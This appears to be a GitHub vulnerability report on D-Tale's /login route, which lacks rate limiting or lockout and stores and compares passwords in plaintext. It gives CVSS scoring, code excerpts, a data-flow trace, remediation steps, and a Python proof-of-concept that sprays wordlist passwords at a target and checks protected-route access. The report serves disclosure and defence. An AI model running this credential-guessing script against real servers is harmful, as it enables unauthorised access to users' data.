Skip to content

Login Endpoint Lacks Brute-Force Protection (No Rate Limiting / Lockout) #961

Description

@NinjaGPT

Login Endpoint Lacks Brute-Force Protection (No Rate Limiting / Lockout)

Vulnerability Name

Missing brute-force protection on the D-Tale authentication endpoint: the /login route enforces no rate limiting, account lockout, delay, or CAPTCHA, allowing unlimited online credential guessing. Compounded by plaintext credential storage and non-constant-time comparison.

Vulnerability Type

  • CWE-307: Improper Restriction of Excessive Authentication Attempts (primary)
  • CWE-799: Improper Control of Interaction Frequency
  • CWE-256 / CWE-257: Plaintext Storage of a Password / Storing Passwords in a Recoverable Format (compounding)
  • CWE-208: Observable Timing Discrepancy — non-constant-time == comparison (minor, compounding)

CVSS 3.1

  • Base Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
  • Rationale:
    • AV:N/login is a network-reachable HTTP endpoint.
    • AC:H — success depends on conditions outside the attacker's control: (1) authentication must be explicitly enabled ([auth] active = true), which is not the default D-Tale configuration; and (2) the configured account must use a weak/guessable password — against a strong password the unlimited-guessing primitive does not yield access. Both are attacker-uncontrollable preconditions, driving High attack complexity. (The missing rate-limiting itself is trivially exercised; the complexity lies in these required preconditions.)
    • PR:N / UI:N — no prior privileges, no user interaction.
    • C:H — a recovered credential grants authenticated access to read all datasets loaded into the D-Tale process.
    • I:L — data-mutating endpoints become reachable, but they operate on in-memory, transient DataFrame views rather than a persistent system or stored records; the integrity impact is limited rather than system-level.
    • A:N — no direct availability impact.

Note: relevant only when authentication is enabled ([auth] active = true). D-Tale ships without authentication by default.

Vulnerability Description

When authentication is enabled, D-Tale exposes a /login route that accepts username/password via an HTML form. On failure it simply re-renders the login template with an error and permits an immediate retry. The implementation contains:

  • No rate limiting (no per-IP or per-account request throttling),
  • No account lockout after repeated failures,
  • No incremental delay / exponential backoff,
  • No CAPTCHA or challenge-response,
  • No attempt counter of any kind.

An attacker can therefore submit credential guesses as fast as the network and server allow. At a conservative 50–500 requests/second, a 1,000,000-entry wordlist (e.g. rockyou) is exhausted in roughly 5.6 hours down to ~36 minutes. Because credentials are stored and compared in plaintext (no hashing/salting), and the comparison uses Python's non-constant-time ==, any weak or default password is recovered quickly. The plaintext storage means the configured password is also directly disclosed by any read of the config file (~/.config/dtale.ini or DTALE_CONFIG), and the non-constant-time compare is a theoretical timing side channel (largely masked by network jitter in practice, hence listed as compounding rather than primary).

Once a valid username/password is found, the attacker logs in normally, the server sets session["logged_in"] = True / session["username"], and the requires_auth decorator grants full access to all protected routes.

Vulnerability SINK

dtale/auth.py — the login handler that validates credentials and immediately allows retry on failure, with no throttling/lockout, and the plaintext comparison it calls:

# dtale/auth.py:16-23  (inside login(), request.method == "POST")
if not authenticate(username, password):
    return render_template(
        "dtale/login.html", error="Invalid credentials!", page="login"
    )                                   # <-- failure path: no delay, no counter, no lockout
session["logged_in"] = True
session["username"] = request.form["username"]
return redirect(session.get("next") or "/")

# dtale/auth.py:32-37  authenticate(): plaintext, non-constant-time comparison
def authenticate(username, password):
    auth_settings = global_state.get_auth_settings()
    if username == auth_settings["username"] and password == auth_settings["password"]:
        return True
    return False

Vulnerability SOURCE

Attacker-controlled HTTP form parameters read directly from the request on every login attempt:

# dtale/auth.py:14-15  (inside login())
username, password = (request.form.get(p) for p in ["username", "password"])

These are submitted unbounded times with no frequency control between the source (request.form) and the sink (authenticate + failure re-render).

Call Stack / Data Flow (file → key code → one-line note)

  1. dtale/config.py load_auth_settings()password = get_config_val(config, curr_auth_settings, "password", section="auth")global_state.set_auth_settings(dict(active=active, username=username, password=password))
    Loads the credential as plaintext from dtale.ini/DTALE_CONFIG into process state — no hashing at rest.

  2. dtale/auth.py:11-13 login()@app.route("/login", methods=["GET", "POST"]) / if request.method == "POST":
    Exposes a network login endpoint that accepts unlimited POST attempts.

  3. dtale/auth.py:14-15username, password = (request.form.get(p) for p in ["username", "password"])
    Reads attacker-controlled credentials from each request (the SOURCE).

  4. dtale/auth.py:32-36 authenticate()if username == auth_settings["username"] and password == auth_settings["password"]:
    Plaintext, non-constant-time comparison against the stored secret — no work factor to slow guessing.

  5. dtale/auth.py:16-20if not authenticate(...): return render_template("dtale/login.html", error="Invalid credentials!", page="login")
    Failure path returns immediately with no delay/lockout/counter — enables unlimited high-rate guessing (the SINK / missing control).

  6. dtale/auth.py:21-23session["logged_in"] = True / session["username"] = request.form["username"] / redirect(...)
    On the first correct guess the attacker obtains a fully authenticated session.

  7. dtale/auth.py:49-52 requires_authif not session.get("logged_in") or not session.get("username"): redirect(login)
    Every protected route now authorizes the attacker's session — full application access achieved.

Proof of Concept (Python)

Demonstrates unlimited, un-throttled login attempts (dictionary attack). Confirms the absence of rate limiting by sending many failed attempts at high rate and showing every one is answered with HTTP 200 + "Invalid credentials!" and no lockout, then logging in on the correct credential.

#!/usr/bin/env python3
"""
PoC: D-Tale /login has no brute-force protection.
Requires: pip install requests
"""
import time
import requests

TARGET = "http://TARGET_HOST:PORT"     # e.g. http://127.0.0.1:40000
LOGIN = f"{TARGET}/login"
USERNAME = "admin"

# A small demonstration wordlist; replace with rockyou.txt for a real run.
WORDLIST = [
    "123456", "password", "admin", "letmein", "dtale",
    "mypassword123",            # the correct one in this demo
]

def attempt(pw):
    # Fresh session each time to show no per-session/IP throttling is applied.
    s = requests.Session()
    r = s.post(LOGIN, data={"username": USERNAME, "password": pw},
               allow_redirects=False, timeout=30)
    # Success = redirect (302) and NO "Invalid credentials!" body; failure = 200 + error text.
    body = r.text if r.status_code == 200 else ""
    success = (r.status_code in (301, 302)) and ("Invalid credentials!" not in body)
    return success, r.status_code

print("[*] Spraying passwords with NO delay to prove rate limiting is absent...")
start = time.time()
attempts = 0
found = None
for pw in WORDLIST:
    ok, code = attempt(pw)
    attempts += 1
    print(f"    try #{attempts:>4} pw={pw!r:<16} status={code} -> {'SUCCESS' if ok else 'rejected'}")
    if ok:
        found = pw
        break

elapsed = time.time() - start
print(f"[*] Sent {attempts} attempts in {elapsed:.2f}s "
      f"({attempts/elapsed:.1f} req/s) with zero lockout/delay observed.")
if found:
    print(f"[+] CREDENTIAL RECOVERED: {USERNAME}:{found}")
    # Confirm full authenticated access.
    s = requests.Session()
    s.post(LOGIN, data={"username": USERNAME, "password": found},
           allow_redirects=True, timeout=30)
    resp = s.get(f"{TARGET}/dtale/main/1", allow_redirects=False, timeout=30)
    print("[*] Protected-route status with recovered creds:", resp.status_code)
    if resp.status_code == 200:
        print("[+] FULL ACCESS CONFIRMED via brute-forced credentials")
else:
    print("[-] Not found in demo wordlist; use a larger list (e.g. rockyou.txt)")

Remediation

  • Add rate limiting / lockout on /login (e.g. Flask-Limiter with per-IP and per-account counters, exponential backoff, temporary lockout, optional CAPTCHA after N failures).
  • Store passwords hashed, not plaintext: werkzeug.security.generate_password_hash / check_password_hash (PBKDF2/scrypt). Keep only the hash in dtale.ini.
  • Use constant-time comparison (hmac.compare_digest) to remove the timing side channel.
  • Restrict config file permissions (chmod 600) and document credential injection via environment/hash rather than plaintext.

Affected Component / Preconditions

  • Component: dtale/auth.py (login, authenticate), credential loading in dtale/config.py.
  • Precondition: authentication enabled ([auth] active = true). Default deployments run without auth and are out of scope for this specific attack.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions